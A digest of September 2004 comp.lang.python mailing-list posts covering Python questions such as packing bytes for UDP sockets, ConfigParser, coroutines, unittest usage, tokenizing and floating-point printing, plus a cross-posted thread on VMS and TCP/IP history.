self.d = d > > def __getitem__(self, n): return self.d.get(n,repr(n)) > > So, how and or where does this fit in with my example? > Does both the call to the function where I want to do > the eval() and self.push(line) command have to be in the > same namespace and or file for this to work? All it does is implement what you asked: make a mapping that assumes all unknown variable names are to be taken as literals, starting from a mapping of all 'known variable names' to their values. > > I'll assume you know your users better than I do and that they _do_ > > really desire with all their hearts this unholy confusion between > > variables and constants... > > This is driven by customers that who want both a type-in command > language and a variant using all the power of python for test > scripting purposes. If you misspell something and there is the > possibility of it screwing something up that we can't tell either > in the parser or downstream in the backend of the tool, well that's > life in the big city. I suspect the first time your users want to use a file named 'for' they'll scream bloody murder, but hopefully that won't happen before they've paid you enough for you to retire in comfort to a nice Carribbean island without extradition treaties, so, cheer up. Alex From peter at engcorp.com Fri Sep 10 13:21:26 2004 From: peter at engcorp.com (Peter Hansen) Date: Fri, 10 Sep 2004 13:21:26 -0400 Subject: newbie sending hex values over UDP socket In-Reply-To: References: Message-ID: Bill Seitz wrote: > Are you saying I can just do something as simple as > sock.send('ri0') > ? Exactly. That sends three bytes corresponding to the "raw" byte values you showed before. > (This interface is typically used over a modem connection between 2 > embedded/hardware devices, if that provides a clue/context. So it's > entirely possible that I've thought the situation was more complicated > than it really is because the other guy is used to dealing with these > low-level devices...) The beauty of Python... makes working with even low-level hardware a pleasure compared to many languages. :-) -Peter From apardon at forel.vub.ac.be Fri Sep 3 03:02:16 2004 From: apardon at forel.vub.ac.be (Antoon Pardon) Date: 3 Sep 2004 07:02:16 GMT Subject: allowing braces around suites References: <1r3c28g6o9.fsf@rovereto.ifi.uio.no> <1rk6vkeo5d.fsf@rovereto.ifi.uio.no> <87hdqok9i6.fsf@sinken.local.csis.hku.hk> <1rfz68ely9.fsf@rovereto.ifi.uio.no> <876574k7du.fsf@sinken.local.csis.hku.hk> <1r3c28ejis.fsf@rovereto.ifi.uio.no> <1rllg0cb3m.fsf@rovereto.ifi.uio.no> <874qmovxna.fsf@sinken.local.csis.hku.hk> <10jf0sk4js0ec7c@corp.supernews.com> Message-ID: Op 2004-09-02, Jeff Shannon schreef : > Antoon Pardon wrote: > >>Suppose you have the following situation: >> >>| def function >>| >>| def localfunction >>| >>| localfunction >>| code >>| >>| function >>| code >> >>My experience is that in such a situation, especially >>if the local functions grows of you have more >>local functions it can become hard to see where the body >>of the global function begins. >> > > My experience is that defining local functions inside of parent > functions is not a good way to deal with this situation. What kind of sitution do you mean here? Just the fact that it becomes difficult to distinghuish the start of the main function? > I would, > instead, write this as two separate module-level functions, one of which > calls the other, and possibly indicating one of them as non-public via > naming convention: I don't understand this. You are putting a function that logically belongs inside an other function and makeing it non-public somehow all to avoid using an end marker to seperate the local function code from the main function code. > def mainfunction(): > x = y + z > result = [] > for n in range(x): > result.append( _subfunction(n) ) > result.sort() > return mylibrary.modify(result) > > def _subfunction(n): > if n > 5: > while n: > x, n = dostuff(n) > else: > x = math.sqrt(x) > return x > > Regardless of whether _subfunction() will ever be used anywhere else, I > wouldn't define it inside of mainfunction(). (The only use I see for > inner functions is to construct a function whose structure depends on > outer-function data in a way that can't be reasonably expressed with a > parameter -- and I see few cases of that. But if you want a function to avoid a certain level of nesting, chances that you need such a function increase. > Otherwise, the only gain from > defining an inner function is name-hiding, and I find the complexity > cost of inner functions to be much higher than the insignificant benefit > gained by name-hiding.) Personnaly I think local functions decrease complexity, because it reduces the points where a function can be called and thus reduces the possible interaction of the function with the rest of the code. But to each his own. -- Antoon Pardon From pmaupin at speakeasy.net Sun Sep 19 12:42:23 2004 From: pmaupin at speakeasy.net (Patrick Maupin) Date: 19 Sep 2004 09:42:23 -0700 Subject: Microthreads without Stackless? References: <8cf9f521.0409162213.105d321e@posting.google.com> <8cf9f521.0409171009.142a3fcd@posting.google.com> <8cf9f521.0409181021.6db6a3e4@posting.google.com> <653b7547.0409182157.4339613@posting.google.com> <414d6080$0$17924$ed2619ec@ptn-nntp-reader02.plus.net> Message-ID: <653b7547.0409190842.36cb9051@posting.google.com> Michael Sparks wrote: > Assuming a language has stackful coroutines, can you *guarantee* for me that > in the following the filehandle is always closed? (Assume that processFile > is called from inside the start point for a co-routine, and that function > reference process passed through is where the co-routine switching occurs. I don't know that you can guarantee that with coroutines, which are, after all, powerful building blocks, because I haven't thought it through, but I wouldn't be too surprised if you actually could guarantee such a thing with synchronous threads built on top of coroutines. (In fact, the PDF file I cite in the grandparent shows how to _use_ coroutines to implement try/except). > > def processFile(filename, process): > try: > f = open(filename) > try: > for i in f: > process(i) > f.close() > except: > f.close() > except IOError: > print "Couldn't open file, didn't do anything" IMO, this example does not demonstrate a reasonable use-case for coroutines. Two good use cases for coroutines are: 1) In filtering, the process() function can call sub-functions for both getting and putting data, and the subfunctions can block (e.g. let other coroutines run). You do not need to decide in advance whether process() is going to have data pushed at it (as in your example) or whether process is going to pull the data -- you write each process to pull its input data and push its output data, and glue the processes together with coroutines. 2) Coroutines can implement synchronous threads with much less overhead than asynchronous threads. With synchronous threads, you give up the ability to have the OS automagically taskswitch for you, but the return benefits are enormous. Not only is the system much easier to reason about, but an entire class of errors (and the whole rationale for the existence of semaphores, locks, mutexes, monitors, or whatever your favorite synchronization term is) completely _disappears_, along with all the crufty workaround synchronization primitives. (As an aside, IMO your example also fails to demonstrate good try/except/finally hygiene, which would be a completely peripheral argument, except that you're arguing that Python should always do the "right thing" with this code, and you're not even using what I would consider to be the right constructs for that.) > I would argue that you cannot, unless you start placing restrictions on the > coroutines in a way you (and others) haven't detailed. (Such as ensuring > that when you throw something like exceptions.SystemExit that it propogates > through all the co-routines and hits all the bare except clauses and isn't > stopped by any single one of them.) I guess this is the old "you'll put your eye out with that thing" argument. Yes, you could put your eye out with that thing, because as I noted, coroutines are a powerful primitive concept. Is it completely unpythonic to allow things you can put your eye out with? Let's look at the "caveats" at the bottom of the documentation for the threads module: """ # When the main thread exits, it is system defined whether the other threads survive. On SGI IRIX using the native thread implementation, they survive. On most other systems, they are killed without executing try ... finally clauses or executing object destructors. # When the main thread exits, it does not do any of its usual cleanup (except that try ... finally clauses are honored), and the standard I/O files are not flushed. """ So there you have it. I would suspect that with coroutines, you could build a synchronous threads mechanism which would in fact execute all the try ... finally clauses, and (unless someone can show me otherwise), I believe that such a synchronous thread package could certainly make sure that the main original thread of execution would perform some cleanup at program termination. > The correctness of the code above is predicated on the assumption that > all the calls it makes to other functions will resume immediately. With > stackful coroutines you cannot guarantee this, and as a result reasoning > accurately about code like this is near to impossible in the general case. There is a large application space where people use asynchronous threads, as painful as they are to reason about, simply because it would be _more_ painful to reason about supplying the same functionality in a non-threaded fashion. I submit that coroutines would be a satisfactory solution for many of the applications which currently use asynchronous threads, for some of the reasons I have outlined above. > Any implementation of coroutines or co-routine type behaviour has to take > this sort of case into account IMO - or else reasoning about even simple > cases and guaranteering correctness becomes much more difficult. (Consider > "process" being object and "object.process" in the use case above) I partly disagree. If the powers-that-be decide that coroutines are a useful addition to the language, then, like the "threads" module, the base "coroutines" module should come with caveats about how, yes, you _will_ damage your foot with this tool. However, I believe that such a "coroutines" module could probably be used as a building block for higher-level synchronization primitives (such as synchronous threads) which could contain all or most of the Pythonic safety nets we all know and love. In thinking about it, I have to say that the current asynchronous threads module could probably also be used as such a building block, albeit with much higher overhead. If anybody really wants coroutines added to Python, they could probably do worse than to: 1) Code a synchronous threads module on top of the asynchronous threads module, complete with good error handling and program termination handling. 2) Publish and get feedback on the synchronous threads module, and get people to start adopting it and using it in applications. 3) With enough users of a synchronous threading paradigm, the lure of huge performance gains would probably be enough to get somebody to incorporate coroutines or Stackless into the main Python build tree, in order to reduce the time and space overhead of synchronous threading. One problem with this approach may be that the performance of synchronous threads on top of async threads is so abysmal that nobody who needs threads would even consider it in the first place. On the flip side, however, if such a "synchronous threads" module on top of async threads became popular, then it might remove the reluctance to add coroutines, or continuations (a la Stackless) or something similar to the language (or at least to the CPython interpreter), because the _normal_ interface to these functions (e.g. the synchronous threads module) would be available in Jython or other non-CPython implementations, built on top of regular async threads. Regards, Pat From unseulmcmcmcmc at msupprimerlepoint.claveauPOINTcom Sat Sep 11 17:57:27 2004 From: unseulmcmcmcmc at msupprimerlepoint.claveauPOINTcom (Michel Claveau - abstraction méta-galactique non triviale en fuite perpétuelle.) Date: Sat, 11 Sep 2004 23:57:27 +0200 Subject: How can I exec() in global? References: Message-ID: Hi ! I have one sample reason (only me ?) : i had make a COM-server in Python ; and i send, from other applis, some Python's scripts, by a string, like parameters. My COM-server can to execute this scripts. *sorry for my bad english* @-salutations -- Michel Claveau From unseulmcmcmcmc at msupprimerlepoint.claveauPOINTcom Thu Sep 16 18:49:50 2004 From: unseulmcmcmcmc at msupprimerlepoint.claveauPOINTcom (=?iso-8859-1?Q?Michel_Claveau_-_abstraction_m=E9ta-galactique_non_trivial?= =?iso-8859-1?Q?e_en_fuite_perp=E9tuelle.?=) Date: Fri, 17 Sep 2004 00:49:50 +0200 Subject: Comparioson of purpose for PyGUI and AnyGUI ??? References: Message-ID: Ok From nk at ebox.gr Thu Sep 2 06:11:49 2004 From: nk at ebox.gr (Nikos Kouremenos) Date: Thu, 02 Sep 2004 13:11:49 +0300 Subject: How do I set gtk.RadioButton font? In-Reply-To: <25d8d6a8.0409011639.13f62d65@posting.google.com> References: <25d8d6a8.0409011639.13f62d65@posting.google.com> Message-ID: <1094119810.190914@athnrd02> Google Mike wrote: > I've got pyGTK 2-1.99.14 (which comes with my RH9 Linux). Does anyone > know how to set the gtk.RadioButton font? I'm finding the font size > too big for an application I need to build. Your font is too big only for this? you can change the fonts for GTK/GNOME by running 'gnome-font-properties' If you want especially this one to set it smaller and if you really want to go the 'programmatically' way, then: http://www.pygtk.org/pygtk2reference/pango-markup-language.html GLADE XML is better (especially for such stuff) just enable the USE_MARKUP and then right in the "text" YOU_TEXT here is a label of a quick label I clicked in GLADE, and glade wrote this: True <span background="lightgreen"><big>Welcome</big></span> <small><span background="white">If you change the settings don't forget to Save &amp; Activate in a Profile!</span></small> False True GTK_JUSTIFY_CENTER False False 0.5 0.5 0 0 for GLADE files and PyGTK take a look here: http://www.async.com.br/faq/pygtk/index.py?req=show&file=faq22.001.htp also consider seeing other peopple's sources and you're done :) Have fun PyGTKing From lbates at swamisoft.com Wed Sep 22 13:10:26 2004 From: lbates at swamisoft.com (Larry Bates) Date: Wed, 22 Sep 2004 12:10:26 -0500 Subject: Efficient configuration storage References: <7e8c2ebd.0409220632.469b1fb6@posting.google.com> Message-ID: ConfigParser is VERY efficient. I have a program that reads and parses thousands of configuration parameters in sub-second times. The methods are there to get strings, boolean (supports 0/1, Y/N, Yes/No, etc.), integer, float. I wrap the calls in try: blocks so I can catch bad config parameters early in the process. section="email" option="emailtoaddress" try: emailtoaddress=INI.get(section, option) except: # # This is not fatal just set to None # emailtoaddress=None section="init" option="numberofcopies" try: numberofcopies=INI.getint(section, option) except: numberofcopies=1 option="debug" try: _debug=INI.getboolean(section, option) except: _debug=0 You get the idea. Larry Bates "sebsauvage" wrote in message news:7e8c2ebd.0409220632.469b1fb6 at posting.google.com... > Hello. > > In one of my programs ( http://sebsauvage.net/python/webgobbler/ ), > I have a global dictionnary containing the whole program configuration. > Sample follows: > CONFIG = { "network.http.useproxy" : True, > "network.http.proxy.address": "proxy.free.fr", > "network.http.proxy.port" : 3128 > [etc.] > } > > I'd like to be able to save/load to/from a file. > > I do not want to use pickle because I want configuration to be human > readable. > > ConfigParser could do the trick, but the biggest trouble is that it does > not retain type (boolean, integer, string...). > > Would I have to store everything as text and cast it everywhere > it's used (and try/except each cast of course) ? > 'Looks ugly and inefficient to me. > > Or have a configuration class which knows the type of each parameter > and casts appropriately from the configuration file ? > > > Is there a better way of doing this ? > > -- > S?bastien SAUVAGE > http://sebsauvage.net From steven.bethard at gmail.com Wed Sep 8 13:37:47 2004 From: steven.bethard at gmail.com (Steven Bethard) Date: Wed, 8 Sep 2004 17:37:47 +0000 (UTC) Subject: Using Python to generate code? References: <1gjt2sn.1mxhb1n12y29cuN%aleaxit@yahoo.com> <1gjt4u3.qme0dh1ucx3ybN%aleaxit@yahoo.com> Message-ID: Alex Martelli yahoo.com> writes: > yeah, but the template string for this long-standing Python feature is > hard to read and hard to write, which is why 2.4 finally grew a simpler > approach -- the string.Template class. Just to make the comparison as fair as possible: 2.4 Template solution tpl = string.Template('for ($VAR = 1, $VAR < $START, $VAR < $END)') tpl % dict(VAR='fee', START='fie', END='fofum') <2.4 format string solution tpl = 'for (%(VAR)s = 1, %(VAR)s < %(START)s, %(VAR)s < %(END)s)' tpl % dict(VAR='fee', START='fie', END='fofum') So, yes, the Template solution is cleaner, but not drastically so. It saves you 3 characters per variable -- '(', ')' and 's'. Of course the more variables you have to write, the bigger the deal it is, so I suspect the OP would much prefer the Template solution. Steve From fluxent at yahoo.com Wed Sep 15 17:52:35 2004 From: fluxent at yahoo.com (Bill Seitz) Date: 15 Sep 2004 14:52:35 -0700 Subject: newbie sending hex values over UDP socket References: Message-ID: Peter Hansen wrote in message news:... > Bill Seitz wrote: > > > OK, so I'm clear on sending a string. > > > > If I want to send a numeric value, do I use something like > > struct.pack('b',int) > > ? > > I'd suggest playing a bit at the interactive prompt, watching > the results of everything you do. For example, trying the > above with a few values would tell you exactly what it does, > provided you understand that you always see the *repr* value > for what is output there, rather than the item itself. That > is, when your expression results in a string (as the above > does), you see the output of repr(s) instead of s itself, > and thus non-printing characters are escaped and the output > is surrounded by quotation marks: > > >>> import struct > >>> struct.pack('b', 5) > '\x05' > >>> struct.pack('b', 255) > Traceback (most recent call last): > File "", line 1, in ? > struct.error: byte format requires -128<=number<=127 > >>> struct.pack('b', -128) > '\x80' > >>> struct.pack('b', 127) > '\x7f' > >>> struct.pack('i', 127) > '\x7f\x00\x00\x00' > >>> struct.pack('h', 127) > '\x7f\x00' > >>> struct.pack('>h', 127) > '\x00\x7f' > >>> struct.pack(' '\x7f\x00' > > And things like that... I think you'll be able to answer > most or all such questions yourself after that. > > -Peter Yeah, I've figured out a fair amount, thanks to y'all for getting me going. Current stump in this area: taking current time (time.time()) and delivering as 4-byte blob. >>> int(time.time()) 1095284438 >>> t= int(time.time()) >>> hex(t) '0x4148b710' ------ this looks promising, though the format smells wrong >>> format = 'l' >>> struct.pack(format,t) '\x10\xb7HA' >>> format = 'L' >>> struct.pack(format,t) '\x10\xb7HA' >>> format = 'q' >>> struct.pack(format,t) '\x10\xb7HA\x00\x00\x00\x00' >>> format = 'i' >>> struct.pack(format,t) '\x10\xb7HA' >>> format = 'I' >>> struct.pack(format,t) '\x10\xb7HA' >>> format = 'P' >>> struct.pack(format,t) '\x10\xb7HA' Can I just pass the blog as hex(t)? I suspect not. From luka.milkovic at public.srce.hr Sun Sep 12 14:13:54 2004 From: luka.milkovic at public.srce.hr (Luka Milkovic) Date: Sun, 12 Sep 2004 20:13:54 +0200 Subject: Mail extraction problem (something's wrong with split methods) References: Message-ID: On Sun, 12 Sep 2004 18:11:38 +0200, Diez B. Roggisch wrote: > Well, you could certainly code around these special cases - however, it > seems to me that whatever generates this mail is malfunctioning. Not on the > transport-layer, but from the thing that produces this > > ---Code?block--- > > thingy. The thing that produces this Code block thingy is a /dev/random output. I'm actually building a primitive One-time pad:) Here is the code (not translated, but you'll understand I think): duljina_grupe = 4 dev_random = open("/dev/random") P = select.poll() P.register(dev_random.fileno(),select.POLLIN) grupe = [] while len(grupe) < gener: grupa = "" while len(grupa) < duljina_grupe: if P.poll(0.1): datum = ord(dev_random.read(1)) if datum < 200: grupa+="%2.2d"%(datum%100) else: print "Nedovoljna kolicina entropije u /dev/random! Pomaknite misa" print "Za sada generirano %d grupa"%len(grupe) grupe.append(int(grupa)) And overlapping it with text transfered in ASCII format: grupe = [] for char in otv: grupe.append(ord(char)) f2 = open("OTpad.pad","r") prvi = pickle.load(f2) enc_txt = map(lambda x,y: (x or 0) ^ (y or 0),prvi,grupe) This enc_txt is the thingy which is mailed... Do you see any mistakes? > What is that actually for? It looks as if you try to reinvent the wheel > and produce your own encoding scheme for binary data - instead of doing > this, I suggest you use one of the several available standards, like > uuencode or others. These are covered by standard apis in python as well > as in other languages. Better go for them. >Straight-line brute forcing it: >msg = .... # get the message as a tuple >sep = "---Code block---" >start = msg[1].index(sep) >data = msg[1][start+1:] >end = data.index(sep) >data = data[:end] >print "".join(data)[1:-1].split(", ") Thanks Pierre, I'll try something like that later. Luka From tor.iver.wilhelmsen at broadpark.no Tue Sep 7 15:04:16 2004 From: tor.iver.wilhelmsen at broadpark.no (Tor Iver Wilhelmsen) Date: 07 Sep 2004 21:04:16 +0200 Subject: %a format References: Message-ID: John Lenton writes: > Is there any reason python's printf-style formatting is missing the > (C99) '%a' specifier? Because it's not very well known or used? A google for "C printf format string" gave lots of resources, none of which had %a. Java's JDK 1.5 java.util.Formatter class supports it, though. From aleaxit at yahoo.com Sun Sep 12 18:44:43 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Mon, 13 Sep 2004 00:44:43 +0200 Subject: unittest issues References: <2qk198F10v228U1@uni-berlin.de> Message-ID: <1gk10h9.2wt9o4nb3u4nN%aleaxit@yahoo.com> paul koelle wrote: > Hi, > > I try to use the "failUnlessRaises()" method from unittest.TestCase as > follows: > > >>self.failUnlessRaises(IntegrityError, myObject.new(**stuff)) > > where IntegrityError is an Exception somewhere deep inside pysqlite. > Running it spits out: > > >>NameError: global name 'IntegrityError' is not defined. > > Do I really need to tell unittest about each and every possible > Exception it might catch. Whats going on here? You need to define any name you use before you use it, quite apart from unittest. You can't use a name that just isn't defined in that scope, period: whether you're unit testing or doing anything else, you can't. Once you have fixed this you'll find another problem: you need to pass failUnlessRaises the callable and arguments separately, so it can perform the call within a try clause. What you're doing here is calling the myObject.new method yourself, so it presumably raises well before any kind of control is passed to the failUnlessRaises method -- no good. I'm not sure you can pass an arbitrary set of keywords that way (at the very least some keyword might happen to conflict with ones used in unittest itself), so I suggest this approach: def localfun(): return myObject.new(**stuff) self.failUnlessRaises(Exception, localfun) note that here I'm passing the function object itself, NOT the result of calling it -- there IS quite a difference! Alex From aleaxit at yahoo.com Wed Sep 1 07:26:22 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Wed, 1 Sep 2004 13:26:22 +0200 Subject: generic tokenizer References: <6t3Zc.37294$A8.12593@edtnps89> Message-ID: <1gjfptg.cd2tqz1kfl04vN%aleaxit@yahoo.com> Angus Mackay wrote: > I remember python having a generic tokenizer in the library. all I want > is to set a list of token seperators and then read tokens out of a > stream, the token seperators should be returned as themselves. > > is there anything like this? Not as such in the standard library: the functions in module tokenizer do not let you 'set a list of token separators'. If what you're tokenizing can fit in a string in memory, module re can help: >>> x=re.compile('(\s+|,|;)') >>> for w in x.split('a,b, c;d; e'): print repr(w),'+', ... 'a' + ',' + 'b' + ',' + '' + ' ' + 'c' + ';' + 'd' + ';' + '' + ' ' + 'e' + Note that you get empty-string items when two separators abut. If the limitations of re.split (stuff must fit in memory, &c) are a problem, then the lexx-like solutions I see somebody else suggested may be more appropriate for your needs. Alex From Felix.Wiemann at gmx.net Sun Sep 5 11:07:23 2004 From: Felix.Wiemann at gmx.net (Felix Wiemann) Date: Sun, 05 Sep 2004 17:07:23 +0200 Subject: Module name conflict with standard library References: <87k6v9o8cg.fsf@news2.ososo.de> <4edc17eb.0409042332.5730eed7@posting.google.com> <10jlqmr85klsb0a@news.supernews.com> Message-ID: <87r7pg4uvo.fsf@news2.ososo.de> Nigel Rowe wrote: > In the mean time [until PEP 328 is implemented], > > http://hkn.eecs.berkeley.edu/~dyoo/python/__std__ > > can help at least some of the problems. This doesn't always work: $ cat random.py from __std__ import random $ python random.py # this works $ cat curses.py from __std__ import curses $ python curses.py # this does not work Traceback (most recent call last): File "curses.py", line 1, in ? from __std__ import curses File "/usr/lib/python2.3/curses/__init__.py", line 16, in ? from curses.wrapper import wrapper <--- Uh-oh File "/var/home/felix/tmp/curses.py", line 1, in ? from __std__ import curses ImportError: cannot import name curses So I hope that absolute imports will get implemented in Python 2.4. I think I'll name my module 'Curses', as John suggested (even if that's asking for trouble on Windows systems). -- Felix Wiemann -- http://www.ososo.de/ From tonino.greco at gmail.com Fri Sep 10 01:51:46 2004 From: tonino.greco at gmail.com (TAG) Date: Fri, 10 Sep 2004 07:51:46 +0200 Subject: simple string parsing ? In-Reply-To: <1gjv0gq.mo3tj21rucgmhN%aleaxit@yahoo.com> References: <1gjv0gq.mo3tj21rucgmhN%aleaxit@yahoo.com> Message-ID: <5db3bf000409092251290a45fa@mail.gmail.com> WOW - I never thought tokenize was that simple :) THANKS :) > >>> import tokenize > >>> import cStringIO > >>> x='=+GC142*(GC94+0.5*sum(GC96:GC101))' > >>> [t[1] for t in > tokenize.generate_tokens(cStringIO.StringIO(x).readline)] > ['=', '+', 'GC142', '*', '(', 'GC94', '+', '0.5', '*', 'sum', '(', > 'GC96', ':', 'GC101', ')', ')', ''] > >>> > close enough for you...? erm YES :) T From santoshamb at yahoo.com Thu Sep 2 23:32:21 2004 From: santoshamb at yahoo.com (ben) Date: 2 Sep 2004 20:32:21 -0700 Subject: get https page Message-ID: <56d498d9.0409021932.1dcf8256@posting.google.com> What I'm trying to do seems like it should be really easy. I want to use python to grab the page https://www.schedulesource.com/teamwork/logon/ I'm using active state python 2.3.2 on windows. I've tried putting in various libraries, running various code sippets, but I always get the following message: raise URLError('unknown url type: %s' % type) I'm sure this is really easy, can anybody point me in the write direction? Thank you. Ben From prinster at mail.com Fri Sep 24 16:16:28 2004 From: prinster at mail.com (Stephen Prinster) Date: Fri, 24 Sep 2004 20:16:28 GMT Subject: Win32-COM pass by ref for long arguments In-Reply-To: References: Message-ID: Victor Ng wrote: > My call is using an initial value of pythoncom.Empty for hTableRef, > but I'm getting the following stacktrace from within the PythonCOM > library: > Have you tried pythoncom.Missing instead of pythoncom.Empty? I don't know what the difference is, but I remember seeing a comment in a makepy-generated file about trying both because sometimes one works better than the other. From gherron at islandtraining.com Sun Sep 19 03:39:23 2004 From: gherron at islandtraining.com (Gary Herron) Date: Sun, 19 Sep 2004 00:39:23 -0700 Subject: Math errors in python In-Reply-To: References: Message-ID: <200409190039.23955.gherron@islandtraining.com> On Sunday 19 September 2004 12:18 am, Chris S. wrote: > Jeremy Bowers wrote: > > On Sat, 18 Sep 2004 16:50:16 +0000, Radioactive Man wrote: > >>In python 2.3 (IDLE 1.0.3) running under windows 95, I get the > >>following types of errors whenever I do simple arithmetic: > > > > Specifically (building on DogWalker's reply), > > http://www.python.org/doc/faq/general.html#why-are-floating-point-calcula > >tions-so-inaccurate > > Perhaps there's a simple explanation for this, but why do we go to the > trouble of computing fractions when our hardware can't handle the > result? If the decimal value of 1/3 is can't be represented in binary, > then don't. We should use an internal representation that stores the > numerator and denominator as separate integers. That's called rational arithmetic, and I'm sure you can find a package that implements it for you. However what would you propose for irrational numbers like sqrt(2) and transcendental numbers like PI? While I'd love to compute with all those numbers in infinite precision, we're all stuck with FINITE sized computers, and hence with the inaccuracies of finite representations of numbers. Dr. Gary Herron From andre at vandervlies.xs4all.nl Wed Sep 1 06:42:37 2004 From: andre at vandervlies.xs4all.nl (Andre van der Vlies) Date: Wed, 01 Sep 2004 10:42:37 +0000 Subject: Diffs for HTMLgen Message-ID: <41358497$0$30040$e4fe514c@dreader13.news.xs4all.nl> Hi, I've made some (minor) adjustments to HTMLgen. I added a 'style' option for (form)buttons and a 'valign' option for table(cells).... I tried to send this to the author of HTMLgen but e-mail bounce -- Andre van der Vlies Homepage: http://vandervlies.xs4all.nl/~andre Key fingerprint = 39 7C 74 79 67 DB 93 06 23 DC B4 23 7B 58 CD 5A 6E FF 5C F8 -- () ascii ribbon campaign - against html e-mail /\ - against microsoft attachments ^[^#] -- -------------- next part -------------- A non-text attachment was scrubbed... Name: HTMLgen.py.diff Type: text/x-patch Size: 3480 bytes Desc: not available URL: From piet at cs.uu.nl Tue Sep 28 05:50:36 2004 From: piet at cs.uu.nl (Piet van Oostrum) Date: Tue, 28 Sep 2004 11:50:36 +0200 Subject: floating point glitch References: <415295E6.9040602@ericsson.com> <7xhdple624.fsf@ruckus.brouhaha.com> <7xis9yoilc.fsf@ruckus.brouhaha.com> Message-ID: >>>>> Paul Rubin (PR) wrote: PR> Paul Foley writes: >> The "perfect solution" is either: (a) to print the minimal number of >> digits that can maintain print/read consistency -- in this case, that >> means printing "0.66", PR> Nah, you can do that by printing everything as zero. That would not maintain print/read consistency, i.e. if you read back the printed value you don't get the original value. -- Piet van Oostrum URL: http://www.cs.uu.nl/~piet [PGP] Private email: P.van.Oostrum at hccnet.nl From http Sun Sep 26 05:24:35 2004 From: http (Paul Rubin) Date: 26 Sep 2004 02:24:35 -0700 Subject: floating point glitch References: <415295E6.9040602@ericsson.com> Message-ID: <7xhdple624.fsf@ruckus.brouhaha.com> Michael Hoffman writes: > Actually, print essentialy uses str() to get the string > representation. But repr(list) or str(list) still gets the repr() of > each item of the list rather than the str(): >>> print .66 0.66 >>> print [.66] [0.66000000000000003] Yucch! Also, str is not invertible: >>> a=.66 >>> b=a+1e-16 >>> a==b False >>> str(a) '0.66' >>> str(b) '0.66' From Brian.Inglis at SystematicSW.Invalid Tue Sep 7 09:57:24 2004 From: Brian.Inglis at SystematicSW.Invalid (Brian Inglis) Date: Tue, 07 Sep 2004 13:57:24 GMT Subject: Xah Lee's Unixism References: <41371e5c$0$19723$61fed72c@news.rcn.com> <20040904.2231.57679snz@dsl.co.uk> <413af268$0$19706$61fed72c@news.rcn.com> <413c5b9c$0$19705$61fed72c@news.rcn.com> Message-ID: On Mon, 06 Sep 04 11:23:17 GMT in alt.folklore.computers, jmfbahciv at aol.com wrote: >In article , > Morten Reistad wrote: >>In article <413af268$0$19706$61fed72c at news.rcn.com>, >> wrote: >>>In article <20040904.2231.57679snz at dsl.co.uk>, >>> bhk at dsl.co.uk (Brian {Hamilton Kelly}) wrote: >>>>On Thursday, in article >>>> <41371e5c$0$19723$61fed72c at news.rcn.com> jmfbahciv at aol.com >>>> wrote: >>>> >>>>> In article <2mmdj0t6mjgif88en11skbo3n8uiuj46nc at 4ax.com>, >>>>> Brian Inglis wrote: >>>>> >MS has been borrowing code from Unix to create a real OS: TCP/IP; >>>>> >NTFS<-ffs; memory mapped files<-mmap. >>>>> >>>>> All right. Now I'm mystified. Why did they have to borrow code >>>>> from Unix? They already had VMS. ISTM, VMS had all of the >>>>> above. >>>> >>>>VMS (originally) most decidedly did NOT have either TCP/IP or NFS. >>> >>>I thought VMS did get TCP/IP into it. I don't know anything about >>>NFS. >> >>VMS was too early, and was made too politically correct. >> >>TCP/IP was NOT politically correct until around 1996 or so. >>TPTB wanted OSI, GOSIP/Decnet Phase 5 and all that crud, until we >>Internet people hammered them. >> >>>>Indeed, it took many years before DEC [sorry, by then it was already >>>>d|i|g|i|t|a|l] had a TCP/IP stack available for VMS --- the dreaded heap >>>>of quivering jelly created by the Eunice idiots. I was never aware that DEC offered TCP/IP. >>>>Before that, people who needed TCP/IP on a Vax used various third-party >>>>solutions, such as the implementations from Carnegie-Mellon (CMU) The commercialized product from T[he]W[ollongong]G[roup] and TGV MultiNet seemed to be ubiquitous. Both products seemed to operate application level protocols very much in leaf node store and forward mode, rather than supporting routing or passthru, on VMS. >>>Sigh! If CMU had it, I would have assumed it got hornshoed into >>>VMS. >> >>Wrong mindset. TCP/IP was never a DEC invention, much less a D I G I T A L >>one. IIRC there was a majority of PDP-10s running on ARPAnet (1982 and earlier) and later TCP/IP (1983 on), but most may have been running Tenex, as BBN was running the network. >It didn't have to be a DEC invention. If it was CMU, we got it >shoved down our throats and up our asses. However, I see >that the dates explain why TCP/IP didn't get into VMS. Politics and not timing was why TCP/IP didn't get into VMS: d|i|g|i|t|a|l backed the European horse that never ran as it fitted better with their network hardware capabilities and DECnet plans. It also meant they did not have to deal with those BBN guys that had developed a competing OS and network. They had whole suites of products layered on top of DECnet that were sold to European governments and contractors. They bet that the ISO and governments couldn't be wrong and they wouldn't lose out, but they did, as did IBM with SNA networks. >Apparently the protocol got good after Gordon Bell left DEC. TCP/IP didn't get better, but the implementations of OSI networking performed badly and did not interoperate, so TCP/IP swept the networking competition off the board, and that may have had an influence on his departure. >Since TCP/IP was in the 90s, I couldn't have heard about it >over the wall (I think I stopped working in 1987). I could >swear that cybercurd meant something. WWW was in the 90s, as was allowing commercial access to and competition to operate the Internet backbone, so it became a must have for the previously clueless, like digital and MS. >ISTR, the -20 types yakking about it. BBN and Tenex heritage probably. -- Thanks. Take care, Brian Inglis Calgary, Alberta, Canada Brian.Inglis at CSi.com (Brian[dot]Inglis{at}SystematicSW[dot]ab[dot]ca) fake address use address above to reply From http Wed Sep 15 20:07:40 2004 From: http (Paul Rubin) Date: 15 Sep 2004 17:07:40 -0700 Subject: Rotating lists? References: Message-ID: <7xk6uvnkj7.fsf@ruckus.brouhaha.com> Ivan Voras writes: > I tried: > > a = a[1:] + a[0] > > which doesn't work because there's no __add__ between a list and > integer, and: You meant to say a = a[1:] + [a[0]] From fredrik at pythonware.com Sun Sep 19 05:46:18 2004 From: fredrik at pythonware.com (Fredrik Lundh) Date: Sun, 19 Sep 2004 11:46:18 +0200 Subject: Determining if a client PC has an Internet connection References: <1095578301.31957.263.camel@devilbox.devilnet.internal> Message-ID: Cliff Wells wrote: > I'm writing an application that needs to know if an Internet connection > is available. Basically, I want to have something similar to what a lot > of email clients have, where the app can work either in "online" or > "offline" mode (it keeps a cache of downloaded info, so it can work > without a connection if needed). on windows, you can use InternetCheckConnection: http://msdn.microsoft.com/library/en-us/wininet/wininet/internetcheckconnection.asp (it should be available via win32all; if not, use ctypes). > The basic problem is this: it downloads info (RSS feeds) from a variety > of sources. Any one (or more) of these could conceivably fail to > download, so simply waiting for a timeout isn't sufficient (not easy to > 